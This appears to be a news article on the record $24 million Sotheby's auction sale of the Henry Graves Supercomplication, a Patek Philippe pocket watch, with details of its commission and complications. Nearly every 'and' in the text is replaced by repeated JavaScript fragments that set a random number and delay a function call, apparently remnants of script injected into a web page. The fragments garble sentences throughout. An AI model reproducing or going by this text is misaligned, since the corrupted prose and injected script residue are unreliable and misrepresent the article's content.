GENEVA, SWITZERLAND — The Henry Graves Supercomplication re-established its status as the most valuable timepiece in auction history on November 11 at Sotheby’s, selling for $24 million, thereby beating the record of $11 million it established in 1999.

Five bidders competed for this masterpiece of horology, which went to an anonymous buyer in the room after 15 minutes of suspense. Completed by Patek Philippe in 1932 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and estimated in excess of $15 million, the Henry Graves Supercomplication is the most famous watch in the world andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the most complicated watch ever made by human handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands — without computer-assisted technology.

Commenting on the results of the sale, Tim Bourne, Sotheby’s worldwide head of watches, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Daryn Schnipper, chairman of Sotheby’s watch division, said, “This stellar result confirms the “rock star” status of the Henry Graves Supercomplication. It is more than a watch. It is a masterpiece which transcends the boundaries of horology andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and has earned its place among the world’s greatest works of art. The fascination it has attracted over the past few months, as Patek Philippe celebrates its 175th anniversary, is a fitting tribute to the genius of the Swiss manufacturer.”

In 1925, Patek Philippe was commissioned by Henry Graves, a prominent New York banker, to produce the most complicated watch in the world. The product of three years of research andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and five years’ effort by the most skilled technicians, the timepiece is a gold open-face minute-repeating chronograph clockwatch with Westminster chimes. Among the features it incorporates are perpetual calendar, moon phases, sidereal time, power reserv, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and indications for time of sunset andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sunrise andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the night sky of New York City. With a total of 24 horological complications, the Graves watch retained the title of the world’s most complicated watch for 56 years andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and even then was only surpassed by technicians working with the aid of computer-assisted machines.